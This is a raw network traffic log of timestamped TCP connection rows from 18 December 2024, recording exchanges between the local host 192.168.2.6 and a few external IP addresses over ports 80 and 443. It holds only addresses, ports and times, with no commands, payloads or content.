Dec 18, 2024 11:09:19.844501972 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.845640898 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.845653057 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.845684052 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.845700979 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.846698046 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.846710920 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.846740961 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.846756935 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.847898006 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.847944021 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.848134041 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.848174095 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.849200010 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.849241972 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.849550962 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.849589109 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.850241899 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.850289106 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.978926897 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.978945017 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.979011059 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.979511023 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.979553938 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.980442047 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.980454922 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.980482101 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.980504990 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.980621099 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.980664968 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.981651068 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.981694937 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.982616901 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.982659101 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.982913017 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.982955933 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.984065056 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.984077930 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.984107018 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.984122992 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.984504938 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.984546900 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.985224009 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.985264063 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.986526012 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.986538887 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.986567020 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.986591101 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.986943960 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.986989975 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.987670898 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.987684011 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.987710953 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.987729073 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.988791943 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.988835096 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.989069939 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.989113092 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.990012884 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.990057945 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.990139008 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.990178108 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.991199970 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.991261005 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.991367102 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.991413116 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.992389917 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.992403984 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.992438078 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.993807077 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.993851900 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.994740963 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.994786978 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.994790077 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.994802952 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.994836092 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.996064901 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.996079922 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.996110916 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.996136904 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.997190952 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.997204065 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.997237921 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.998588085 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.998600006 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.998639107 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.999620914 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.999663115 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:20.000170946 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:20.000215054 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:20.000735998 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:20.000782013 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:20.001038074 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:20.001082897 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:20.001976013 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:20.002021074 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:20.002091885 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:20.002136946 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:20.003145933 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:20.003191948 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:20.003210068 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:20.003249884 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:20.004350901 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:20.004398108 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:20.004648924 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:20.004695892 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:20.005498886 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:20.005549908 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:20.006468058 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:20.006520987 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:20.006661892 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:20.006711006 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:20.006752014 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:20.006802082 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:20.007878065 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:20.007930040 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:22.190730095 CET	49888	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:22.191117048 CET	49907	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:22.310673952 CET	80	49907	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:22.310805082 CET	49907	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:22.310839891 CET	80	49888	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:22.311016083 CET	49888	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:22.312747002 CET	49907	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:22.432233095 CET	80	49907	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:23.641473055 CET	80	49907	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:23.641530037 CET	49907	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:23.644260883 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:23.644675970 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:23.704062939 CET	49913	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:23.704128027 CET	443	49913	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:23.704206944 CET	49913	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:23.705461025 CET	49913	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:23.705476046 CET	443	49913	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:23.764492035 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:23.764508963 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:23.764564037 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:23.764605999 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:23.764837980 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:23.947261095 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:24.917442083 CET	443	49913	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:24.917553902 CET	49913	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:24.919158936 CET	49913	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:24.919171095 CET	443	49913	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:24.919415951 CET	443	49913	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:24.961035967 CET	49913	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:24.961062908 CET	49913	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:24.961112976 CET	443	49913	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:25.083770037 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.083823919 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.083833933 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.083852053 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.083863974 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.083890915 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.083890915 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.083986998 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.083998919 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.084019899 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.084019899 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.084153891 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.084165096 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.084176064 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.084184885 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.084184885 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.084767103 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.203737020 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.203790903 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.204129934 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.207803011 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.207835913 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.208142042 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.274967909 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.275141001 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.275353909 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.279122114 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.279251099 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.281501055 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.287560940 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.287589073 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.287631989 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.291482925 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.295835972 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.295885086 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.295948029 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.299494982 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.304297924 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.304352999 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.304404020 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.307487965 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.312627077 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.312678099 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.312716961 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.315402031 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.321002960 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.321053028 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.321108103 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.321564913 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.329402924 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.329472065 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.329513073 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.330820084 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.337833881 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.337878942 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.337918043 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.337918043 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.345535040 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.345644951 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.345663071 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.351197004 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.353208065 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.353286028 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.353298903 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.353490114 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.361001968 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.361115932 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.361160040 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.466238022 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.466320992 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.466331005 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.466418028 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.468590021 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.468619108 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.468636990 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.469434977 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.473299980 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.473351002 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.473361015 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.473401070 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.478049994 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.478101015 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.478142023 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.478216887 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.482676983 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.482734919 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.482790947 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.482837915 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.487333059 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.487423897 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.487463951 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.487463951 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.491940975 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.492033958 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.492043018 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.492079973 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.496402979 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.496529102 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.496536016 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.496567965 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.501574039 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.501591921 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.501619101 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.501780987 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.507383108 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.507407904 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.507432938 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.507447958 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.510422945 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.510469913 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.510591984 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.510631084 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.514951944 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.515062094 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.515124083 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.515319109 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.519557953 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.519615889 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.519725084 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.519798994 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.523751974 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.523916960 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.524080992 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.524122953 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.528265953 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.528415918 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.528450012 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.528492928 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.532987118 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.533001900 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.533055067 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.533055067 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.536601067 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.536655903 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.536696911 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.537018061 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.541074991 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.541132927 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.541232109 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.541274071 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.545497894 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.545665026 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.545706034 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.545706034 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.549957991 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.550009966 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.550041914 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.550189018 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.554429054 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.554513931 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.657633066 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.657730103 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.657741070 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.657790899 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.659368992 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.659476995 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.659503937 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.659805059 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.663053036 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.663115978 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.663119078 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.666543961 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.666573048 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.666621923 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.666660070 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.666660070 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.670164108 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.670207024 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.670243979 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.670367956 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.673702955 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.673746109 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.673813105 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.673857927 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.677196980 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.677237988 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.677303076 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.677339077 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.680464983 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.680511951 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.680619001 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.680655956 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.683698893 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.683737040 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.683810949 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.683849096 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.687104940 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.687151909 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.687199116 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.687232971 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.690896034 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.690943956 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.691004038 CET	80	49912	31.41.244.11	192.168.2.6
